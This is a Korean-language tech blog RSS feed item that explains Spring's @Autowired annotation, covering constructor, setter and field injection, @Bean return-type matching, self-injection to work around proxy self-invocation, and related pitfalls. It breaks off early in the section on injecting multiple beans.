<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>순다랜드</title>
    <link>https://sundaland.tistory.com/</link>
    <description>자바(Java)와 순다랜드(Sundaland)는 지리적으로나 생태학적으로 밀접한 연관이 있습니다. 순다랜드는 현재의 말레이 반도, 보르네오 섬, 수마트라 섬, 자바 섬을 포함하는 광대한 지역을 지칭하며, 빙하기 동안 해수면이 낮아지면서 이 지역들이 육지로 연결되었던 시기를 일컫습니다. 이때, 자바 섬은 순다랜드의 일부로서, 주변의 다른 섬들과 함께 하나의 대륙처럼 연결되어 있었습니다.</description>
    <language>ko</language>
    <pubDate>Sun, 9 Aug 2026 01:54:04 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>헬로우월드</managingEditor>
    <image>
      <title>순다랜드</title>
      <url>https://tistory1.daumcdn.net/tistory/5417221/attach/dba73458df064cf9b2c2da3e66db47a2</url>
      <link>https://sundaland.tistory.com</link>
    </image>
    <item>
      <title>Using @Autowired</title>
      <link>https://sundaland.tistory.com/1135</link>
      <description>&lt;h1&gt;Using @Autowired&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;&lt;strong&gt;참조&lt;/strong&gt;: &lt;a href=&quot;https://docs.spring.io/spring-framework/reference/core/beans/annotation-config/autowired.html&quot;&gt;Spring Framework 7.0.6 공식 문서&lt;/a&gt;&lt;br&gt;JSR-330 &lt;code&gt;@Inject&lt;/code&gt;는 대부분의 &lt;code&gt;@Autowired&lt;/code&gt; 위치에서 대체 사용 가능합니다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;hr&gt;
&lt;h2&gt;목차&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#1-%EC%A0%81%EC%9A%A9-%EC%9C%84%EC%B9%98-injection-points&quot;&gt;적용 위치 (Injection Points)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#2-%ED%83%80%EC%9E%85-%EC%9D%BC%EC%B9%98-%EC%9B%90%EC%B9%99%EA%B3%BC-bean-%EB%B0%98%ED%99%98-%ED%83%80%EC%9E%85&quot;&gt;타입 일치 원칙과 @Bean 반환 타입&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#3-self-injection-%EC%9E%90%EA%B0%80-%EC%A3%BC%EC%9E%85&quot;&gt;Self Injection (자가 주입)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#4-%EB%8B%A4%EC%A4%91-%EB%B9%88-%EC%A3%BC%EC%9E%85%EA%B3%BC-%EC%88%9C%EC%84%9C-%EC%A0%9C%EC%96%B4&quot;&gt;다중 빈 주입과 순서 제어&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#5-required-%EC%86%8D%EC%84%B1-%EC%99%84%EC%A0%84-%EC%A0%95%EB%B3%B5&quot;&gt;&lt;code&gt;required&lt;/code&gt; 속성 완전 정복&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#6-%EC%84%A0%ED%83%9D%EC%A0%81-%EC%9D%98%EC%A1%B4%EC%84%B1-%ED%91%9C%ED%98%84%EB%B2%95&quot;&gt;선택적 의존성 표현법&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#7-spring-context-%ED%95%B5%EC%8B%AC-%EC%9D%B8%ED%84%B0%ED%8E%98%EC%9D%B4%EC%8A%A4-%EC%A3%BC%EC%9E%85&quot;&gt;Spring Context 핵심 인터페이스 주입&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#8-beanpostprocessor-%EB%82%B4%EC%97%90%EC%84%9C%EC%9D%98-%ED%95%9C%EA%B3%84&quot;&gt;BeanPostProcessor 내에서의 한계&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#%EC%9A%94%EC%95%BD&quot;&gt;요약&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;1. 적용 위치 (Injection Points)&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;@Autowired&lt;/code&gt;는 &lt;strong&gt;타입(Type)&lt;/strong&gt; 기반으로 컨테이너의 빈을 탐색한 뒤 주입합니다. 적용 가능한 위치는 세 곳입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;1.1 생성자 주입 — ✅ 권장&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class MovieRecommender {

    private final CustomerPreferenceDao customerPreferenceDao;

    @Autowired
    public MovieRecommender(CustomerPreferenceDao customerPreferenceDao) {
        this.customerPreferenceDao = customerPreferenceDao;
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;생성자가 하나뿐이라면 &lt;code&gt;@Autowired&lt;/code&gt; 생략 가능&lt;/strong&gt; (Spring 4.3+). 단, 생성자가 여러 개 있다면 반드시 사용할 하나에 &lt;code&gt;@Autowired&lt;/code&gt;를 명시해야 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;권장 이유:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;특성&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;불변성(Immutability)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;final&lt;/code&gt; 필드 선언 가능 → 객체 생성 후 의존성 변경 불가능 보장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NPE 방지&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;객체 생성 시점에 모든 필수 의존성이 충족되므로 런타임 NullPointerException 예방&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;순환 참조 감지&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;애플리케이션 구동 시(컨테이너 시작 시) 즉시 &lt;code&gt;BeanCurrentlyInCreationException&lt;/code&gt;이 발생하여 컴파일 단계에 근접한 감지 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;테스트 용이성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DI 컨테이너 없이도 &lt;code&gt;new MyService(mockDao)&lt;/code&gt; 형태로 순수 자바 단위 테스트 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h3&gt;1.2 메서드 주입 (Setter / 임의 메서드)&lt;/h3&gt;
&lt;p&gt;빈 생성 후 호출되므로 &lt;strong&gt;선택적 의존성&lt;/strong&gt; 또는 &lt;strong&gt;런타임에 변경될 수 있는 의존성&lt;/strong&gt;에 적합합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Setter 방식
public class SimpleMovieLister {

    private MovieFinder movieFinder;

    @Autowired
    public void setMovieFinder(MovieFinder movieFinder) {
        this.movieFinder = movieFinder;
    }
}

// 임의 이름 + 다중 파라미터 방식
public class MovieRecommender {

    private MovieCatalog movieCatalog;
    private CustomerPreferenceDao customerPreferenceDao;

    @Autowired
    public void prepare(MovieCatalog movieCatalog,
                        CustomerPreferenceDao customerPreferenceDao) {
        this.movieCatalog = movieCatalog;
        this.customerPreferenceDao = customerPreferenceDao;
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h3&gt;1.3 필드 주입 — ❌ 비권장&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class MovieRecommender {

    @Autowired
    private MovieCatalog movieCatalog;

    @Autowired
    private CustomerPreferenceDao customerPreferenceDao;
}&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;문제점&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;테스트 어려움&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;외부에서 의존성을 임의로 주입할 수 없음 → 단위 테스트 시 &lt;code&gt;ReflectionTestUtils&lt;/code&gt;나 Mockito 룰을 이용한 강제 주입 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;불변성 미보장&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;객체 생성 이후에 리플렉션으로 주입되므로, &lt;code&gt;final&lt;/code&gt; 키워드를 필드에 적용할 수 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;숨겨진 의존성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;생성자 시그니처만 보고 클래스의 필요 의존성을 파악하기 어려워 단일 책임 원칙(SRP) 위반을 감지하기 힘듦&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DI 컨테이너 종속&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;외부 컨테이너 없이 순수 Java 객체 환경에서 단독으로 동작하거나 재사용하기 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;2. 타입 일치 원칙과 @Bean 반환 타입&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;@Autowired&lt;/code&gt;는 주입 지점의 선언 타입에 맞는 빈을 컨테이너에서 탐색합니다. 매칭되는 빈이 없으면 런타임에 &lt;code&gt;NoSuchBeanDefinitionException&lt;/code&gt;이 발생합니다.&lt;/p&gt;
&lt;p&gt;핵심은 &lt;strong&gt;Spring이 빈의 타입을 파악하는 방법이 등록 방식에 따라 다르다&lt;/strong&gt;는 점입니다.&lt;/p&gt;
&lt;h4&gt;@Component 스캔 빈: 클래스 자체를 읽어 구체 타입을 파악&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;@Component
public class InMemoryMovieCatalog implements MovieCatalog { }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Spring이 클래스 메타데이터를 직접 읽으므로 구체 타입 &lt;code&gt;InMemoryMovieCatalog&lt;/code&gt;와 그 상위 타입 &lt;code&gt;MovieCatalog&lt;/code&gt;를 모두 인지합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Autowired MovieCatalog catalog;          // ✅ 매칭
@Autowired InMemoryMovieCatalog catalog;  // ✅ 매칭&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;@Bean 팩토리 메서드: 선언된 반환 타입만 봄&lt;/h4&gt;
&lt;p&gt;Spring은 팩토리 메서드가 실제로 무엇을 리턴하는지 런타임에 인스턴스를 생성하기 전까지는 확신할 수 없습니다. 따라서 &lt;strong&gt;메서드에 선언된 반환 타입만&lt;/strong&gt;을 근거로 BeanDefinition의 타입을 기록하고 타입 매칭에 사용합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 인터페이스로 선언
@Bean
public MovieCatalog movieCatalog() {
    return new InMemoryMovieCatalog(); // 실제론 구체 타입을 리턴하지만
}
// Spring이 인지하는 타입: 오직 MovieCatalog 인터페이스 뿐
// @Autowired MovieCatalog         → ✅ 매칭
// @Autowired InMemoryMovieCatalog → ❌ NoSuchBeanDefinitionException 발생

// ✅ 구체 타입으로 선언
@Bean
public InMemoryMovieCatalog movieCatalog() {
    return new InMemoryMovieCatalog();
}
// Spring이 인지하는 타입: 구체 타입 및 상위 인터페이스 모두 포함
// @Autowired MovieCatalog         → ✅ 매칭
// @Autowired InMemoryMovieCatalog → ✅ 매칭&lt;/code&gt;&lt;/pre&gt;&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;&lt;strong&gt;규칙&lt;/strong&gt;: &lt;code&gt;@Bean&lt;/code&gt; 팩토리 메서드의 반환 타입은 주입 지점이 요구할 수 있는 타입적 범위를 고려하여 가급적 구체적으로 선언하는 것이 유연성에 좋습니다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;hr&gt;
&lt;h2&gt;3. Self Injection (자가 주입)&lt;/h2&gt;
&lt;h3&gt;3.1 왜 자기 자신을 주입받는가 — 문제의 출발점&lt;/h3&gt;
&lt;p&gt;언뜻 보면 자기 자신을 의존성으로 주입받는다는 게 모순처럼 느껴집니다. 그 이유를 이해하려면 먼저 Spring AOP의 동작 메커니즘을 이해해야 합니다.&lt;/p&gt;
&lt;h4&gt;Spring AOP는 프록시 기반이다&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;@Transactional&lt;/code&gt;, &lt;code&gt;@Cacheable&lt;/code&gt;, &lt;code&gt;@Async&lt;/code&gt; 같은 Spring AOP 기능은 &lt;strong&gt;프록시 객체&lt;/strong&gt;를 통해서만 동작합니다. Spring은 AOP 어노테이션이 붙은 빈을 등록할 때 실제 객체를 그대로 노출하지 않고, 그 객체를 감싸는 프록시를 컨테이너에 등록합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[컨테이너에 등록된 빈 형태]
OrderService$$SpringCGLIB$$0  ← 프록시 (외부에 노출되는 빈)
    └── OrderService          ← 프록시 내부의 실제 인스턴스 (Target)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;외부에서 &lt;code&gt;orderService.saveToDb()&lt;/code&gt;를 호출하면 프록시가 먼저 요청을 가로채어 트랜잭션을 시작하고, 그 다음 실제 인스턴스의 &lt;code&gt;saveToDb()&lt;/code&gt;를 호출합니다.&lt;/p&gt;
&lt;h4&gt;문제: 내부 호출(Self-Invocation) 시 프록시 우회&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;@Service
public class OrderService {

    public void createOrder() {
        this.saveToDb(); // ← 내부에서 this로 호출
    }

    @Transactional
    public void saveToDb() {
        // @Transactional이 붙어있지만 실제로는 트랜잭션이 열리지 않는다.
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;외부에서 &lt;code&gt;createOrder()&lt;/code&gt;를 호출하면 프록시 객체에 도달합니다. 하지만 &lt;code&gt;createOrder()&lt;/code&gt; 자체에는 AOP 어노테이션이 없으므로 프록시는 아무 작업도 하지 않고 내부 실제 인스턴스의 &lt;code&gt;createOrder()&lt;/code&gt;를 호출합니다.&lt;/p&gt;
&lt;p&gt;이 순간부터 실행 주체는 실제 인스턴스 내부이며, &lt;code&gt;this&lt;/code&gt;는 프록시가 아닌 &lt;strong&gt;실제 인스턴스&lt;/strong&gt;를 가리킵니다. 따라서 &lt;code&gt;this.saveToDb()&lt;/code&gt;는 프록시를 완전히 거치지 않는 직접 호출이 되어 &lt;code&gt;@Transactional&lt;/code&gt;이 무시됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;외부 호출 → [프록시].createOrder()
              ↓ (AOP 미적용, 통과)
          [실제 인스턴스].createOrder()
              ↓ 
          this.saveToDb()  ← this는 실제 인스턴스이므로 프록시 우회!
              ↓
          @Transactional 작동 안 함 (롤백 불가 버그 유발) ❌&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;해결: 자기 자신을 감싼 프록시를 주입받기&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;this&lt;/code&gt; 우회 문제를 해결하기 위해, &lt;strong&gt;컨테이너에 등록된 자기 자신의 프록시 객체를 &lt;code&gt;@Autowired&lt;/code&gt;로 주입받아 사용&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Service
public class OrderService {

    @Autowired
    private OrderService self; // 컨테이너에 등록된 프록시 객체가 주입됨

    public void createOrder() {
        self.saveToDb(); // 프록시를 경유하므로 @Transactional 정상 작동 ✅
    }

    @Transactional
    public void saveToDb() {
        // 트랜잭션 정상 적용
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h3&gt;3.2 실제 동작 확인: TransactionSynchronizationManager&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;TransactionSynchronizationManager.isActualTransactionActive()&lt;/code&gt;를 활용해 실제 트랜잭션 활성화 여부를 검증할 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Service
public class SelfReferencingService {

    @Autowired
    private SelfReferencingService self;

    public void methodA() {
        System.out.println(&amp;quot;=== this로 내부 호출 ===&amp;quot;);
        this.methodB();

        System.out.println(&amp;quot;=== self로 프록시 호출 ===&amp;quot;);
        self.methodB();
    }

    @Transactional
    public void methodB() {
        boolean txActive = TransactionSynchronizationManager.isActualTransactionActive();
        System.out.println(&amp;quot;트랜잭션 활성 상태: &amp;quot; + txActive);
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;실행 결과:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;=== this로 내부 호출 ===
트랜잭션 활성 상태: false   ← 프록시를 우회하여 인터셉터가 미실행됨

=== self로 프록시 호출 ===
트랜잭션 활성 상태: true    ← 프록시를 거쳐 트랜잭션 가로채기가 정상 적용됨&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h3&gt;3.3 Self Injection은 최하위 대안(Fallback) 메커니즘&lt;/h3&gt;
&lt;p&gt;Spring 공식 문서에서는 다음과 같이 명시합니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;*&amp;quot;self references do not participate in regular autowiring candidate selection and are therefore in particular &lt;strong&gt;never primary&lt;/strong&gt;. On the contrary, they always end up as &lt;strong&gt;lowest precedence&lt;/strong&gt;.&amp;quot;*&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;자가 주입은 다른 일반적인 빈 후보들과 경합할 때 항상 가장 낮은 우선순위(Lowest Precedence)를 가집니다.&lt;/p&gt;
&lt;h4&gt;Spring 내부의 DI 후보 선택 알고리즘&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;@Autowired&lt;/code&gt; 주입 대상 빈을 결정하는 &lt;code&gt;DefaultListableBeanFactory&lt;/code&gt;의 핵심 흐름은 다음과 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Step 1] 타입이 일치하는 모든 빈 후보 탐색 (findAutowireCandidates)
         -&amp;gt; 이 과정에서 자가 참조(현재 생성 중인 빈)를 포함한 모든 후보 수집

[Step 2] 일반 후보군을 통한 우선 해결 시도 (1차 시도)
         -&amp;gt; 수집된 후보군 중 &amp;#39;자가 참조&amp;#39;를 제외하고 남은 빈들로 의존성 결정
         -&amp;gt; 일반 빈 후보가 단 하나라면 선택
         -&amp;gt; 여러 개라면 @Primary, @Priority, 빈 이름 매칭 순으로 후보 압축

[Step 3] 일반 후보가 전혀 없을 때 비로소 자가 참조 선택 (대안 - Fallback)
         -&amp;gt; 자가 참조가 컨테이너 내 유일한 대안인 경우에만 주입 성공
         -&amp;gt; ⚠️ 이 단계에서는 @Primary, @Qualifier 등의 우선순위 평가를 수행하지 않음&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;따라서 클래스 자체에 &lt;code&gt;@Primary&lt;/code&gt;를 선언하더라도, 자가 주입 과정에서는 일반 후보를 걸러내는 Step 2 단계를 건너뛰고 최하위 단계(Step 3)에서 대안으로 처리되기 때문에 다른 빈과의 경합에서 무조건 밀리게 됩니다.&lt;/p&gt;
&lt;h4&gt;Self Injection이 가능한 이유: Early Reference의 조기 노출&lt;/h4&gt;
&lt;p&gt;의존성 주입 시점에 아직 완전히 초기화되지 않은 자기 자신을 주입할 수 있는 이유는 Spring의 순환 참조 해결을 위한 &lt;strong&gt;3단계 빈 생성 라이프사이클&lt;/strong&gt; 덕분입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Phase 1: Instantiate (인스턴스 생성)
  -&amp;gt; 생성자 호출을 통해 순수 Java 객체(rawInstance) 생성 후 SingletonFactory에 등록

Phase 2: Populate (의존성 주입)
  -&amp;gt; @Autowired 필드 분석 중 self 주입 요건 확인 (Step 3 Fallback 단계 도달)
  -&amp;gt; getEarlyBeanReference()가 호출되면서 SmartInstantiationAwareBeanPostProcessor에 의해 
     실제 인스턴스를 감싼 &amp;#39;조기 AOP 프록시 객체&amp;#39;가 생성되어 self 필드에 주입됨

Phase 3: Initialize (초기화)
  -&amp;gt; @PostConstruct 실행 및 초기화 완료 후 최종 빈을 singletonObjects(컨테이너)에 등록&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Phase 2 단계에서 &lt;code&gt;self&lt;/code&gt; 필드에 주입되는 것은 순수 인스턴스가 아니라 조기 노출된 &lt;strong&gt;프록시 객체&lt;/strong&gt;이기 때문에 내부 호출 시에도 AOP가 정상적으로 작동할 수 있습니다.&lt;/p&gt;
&lt;h4&gt;  대안(Fallback) 동작으로 인한 잠재적 위험 및 한계&lt;/h4&gt;
&lt;p&gt;자가 주입은 &lt;strong&gt;&amp;quot;당장 동작한다고 해서 미래의 안전을 보장하지 않는&amp;quot;&lt;/strong&gt; 취약한 구조적 한계를 지니고 있습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;동일 타입의 서브클래스 빈이 추가되는 경우 (의도치 않은 주입)&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;    @Service
    public class OrderService {
        @Autowired
        private OrderService self;
    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;프로젝트 확장 혹은 테스트를 위해 하위 클래스 빈이 추가된다면?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    @Service  
    public class OrderServiceV2 extends OrderService { 

    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;OrderServiceV2&lt;/code&gt;가 추가되는 순간, 알고리즘 [Step 2]에서 일반 후보군(Regular candidate)으로 분류되어 발견됩니다. 이로 인해 &lt;code&gt;OrderService&lt;/code&gt; 내부의 &lt;code&gt;self&lt;/code&gt; 필드에는 자기 자신이 아닌 &lt;strong&gt;&lt;code&gt;OrderServiceV2&lt;/code&gt; 인스턴스가 주입&lt;/strong&gt;되는 현상이 빌드/런타임 예외 없이 조용히 발생합니다.&lt;br&gt;2. &lt;strong&gt;테스트 환경에서 Mock 빈을 등록하는 경우&lt;/strong&gt;&lt;br&gt;&lt;code&gt;@TestConfiguration&lt;/code&gt; 등을 통해 &lt;code&gt;OrderService&lt;/code&gt; 타입의 Mock 빈을 만들고 &lt;code&gt;@Primary&lt;/code&gt;를 부여하면, 프로덕션 코드의 &lt;code&gt;self&lt;/code&gt; 필드에 실제 프록시가 아닌 Mock 객체가 주입되어 실제 비즈니스 로직 및 트랜잭션이 정상 작동하지 않는 테스트 오염이 발생합니다.&lt;br&gt;3. &lt;strong&gt;Prototype 스코프 빈에서의 무효화&lt;/strong&gt;&lt;br&gt;자가 주입은 모든 빈 인스턴스가 컨테이너에서 단 하나로 관리되는 &lt;strong&gt;Singleton 스코프에서만 의미가 있습니다.&lt;/strong&gt; &lt;code&gt;prototype&lt;/code&gt; 스코프의 빈인 경우, 주입 요청 시마다 매번 새로운 인스턴스를 생성하므로 &lt;code&gt;self&lt;/code&gt;가 가리키는 대상과 현재 실행 중인 대상이 달라져 자가 주입의 목적을 상실합니다.&lt;br&gt;4. &lt;strong&gt;최근 Spring 프레임워크 트렌드와의 충돌&lt;/strong&gt;&lt;br&gt;Spring Boot 2.6 / Spring 6.0 이후부터는 기본적으로 &lt;strong&gt;순환 참조(Circular Reference)를 차단&lt;/strong&gt;하는 설정(&lt;code&gt;spring.main.allow-circular-references=false&lt;/code&gt;)이 기본값으로 고정되어 가고 있습니다. 지연 로딩(&lt;code&gt;@Lazy&lt;/code&gt;)을 조합하지 않은 순수한 자가 주입은 설정이나 버전에 따라 빈 생성 단계에서 순환 참조 예외를 발생시키며 구동이 실패할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;3.4 &lt;code&gt;@Configuration&lt;/code&gt; 클래스에서의 자가 참조&lt;/h3&gt;
&lt;p&gt;같은 &lt;code&gt;@Configuration&lt;/code&gt; 설정 클래스 내부에서 &lt;code&gt;@Autowired&lt;/code&gt; 필드를 이용해 자신이 정의한 &lt;code&gt;@Bean&lt;/code&gt;의 결과물을 주입받으려 할 때도 동일한 Fallback 알고리즘이 적용되어 취약점을 유발합니다.&lt;/p&gt;
&lt;h4&gt;문제 코드&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;@Configuration
public class AppConfig {

    @Autowired
    private DataSource dataSource; // ❌ 자기 자신이 정의한 빈을 필드로 주입받으려 함

    @Bean
    public SomeBean someBean() {
        return new SomeBean(dataSource);
    }

    @Bean
    public DataSource dataSource() { // non-static 메서드
        return new HikariDataSource();
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;발생하는 문제점:&lt;/strong&gt;&lt;br&gt;&lt;code&gt;AppConfig&lt;/code&gt; 설정 클래스의 인스턴스가 구성되는 도중에 내부의 &lt;code&gt;@Autowired&lt;/code&gt; 대상들을 채워야 합니다. 이 시점에 아직 생성되지 않은 &lt;code&gt;dataSource()&lt;/code&gt; 빈은 자가 참조로 분류되므로 대안(Fallback) 상태가 됩니다. 만약 다른 설정 클래스에 또 다른 &lt;code&gt;DataSource&lt;/code&gt; 빈이 정의되어 있다면, 내 의도와 달리 &lt;strong&gt;다른 빈이 필드에 주입&lt;/strong&gt;되는 현상이 발생합니다.&lt;/p&gt;
&lt;h4&gt;올바른 해결책&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;방법 ①: 메서드 파라미터 주입 (권장 - 지연 해결)&lt;/strong&gt;&lt;br&gt;    &lt;code&gt;someBean&lt;/code&gt;이 실제로 인스턴스화되는 시점에 필요한 의존성을 파악하므로, &lt;code&gt;dataSource()&lt;/code&gt; 빈이 완벽히 등록된 상태에서 안정적으로 일반 후보로 주입받습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Configuration 
public class AppConfig { 

    @Bean                   // 파라미터로 명시 
    public SomeBean someBean(DataSource dataSource) 
    { 

        return new SomeBean(dataSource); 
    } 

    @Bean 
    public DataSource dataSource() { 
        return new HikariDataSource(); 
    } 

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;방법 ②: 자가 참조 우회를 위한 &lt;code&gt;@Resource&lt;/code&gt; 사용&lt;/strong&gt;&lt;br&gt;    타입 기반으로 탐색하는 &lt;code&gt;@Autowired&lt;/code&gt;와 달리, &lt;code&gt;@Resource(name=&amp;quot;...&amp;quot;)&lt;/code&gt;는 &lt;strong&gt;빈의 고유 이름을 지정하여 명확히 조율&lt;/strong&gt;하므로 Fallback 단계를 타지 않고 프록시를 직관적으로 획득합니다. (단, 빈 명칭 변경에 유의해야 합니다.)&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;3.5 Self Injection 대안 비교 가이드&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;대안 전략&lt;/th&gt;
&lt;th&gt;작동 원리 및 특징&lt;/th&gt;
&lt;th&gt;권장도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;대리자 빈 분리 (Delegate Bean)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AOP가 필요한 로직을 별도의 서비스 클래스로 완전히 분리 정렬. 프록시 내부 호출 문제를 아키텍처 관점에서 원천 차단하는 가장 깔끔한 방법.&lt;/td&gt;
&lt;td&gt;  (최우선)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;메서드 파라미터 주입&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;@Configuration&lt;/code&gt; 환경에서 필드 자가 주입을 지연 파라미터 방식으로 우회 처리.&lt;/td&gt;
&lt;td&gt;  (Config 한정 필수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;@Resource(name=...)&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;타입 매칭 경합을 피하고 고유 명칭으로 지정하여 대안 로직을 회피.&lt;/td&gt;
&lt;td&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;자가 주입 (&lt;code&gt;@Autowired self&lt;/code&gt;)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;리팩토링이 불가능한 레거시 코드 환경에서 AOP 내부 호출 문제를 긴급 우회하기 위한 마지막 수단.&lt;/td&gt;
&lt;td&gt;⚠️ (남용 금지)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;4. 다중 빈 주입과 순서 제어&lt;/h2&gt;
&lt;p&gt;동일한 인터페이스나 상위 타입을 구현한 여러 개의 빈이 존재할 때, 컬렉션 구조를 활용해 한 번에 모든 빈을 안전하게 주입받을 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class MovieRecommender {


    // 4.1 배열(Array) 주입
    @Autowired
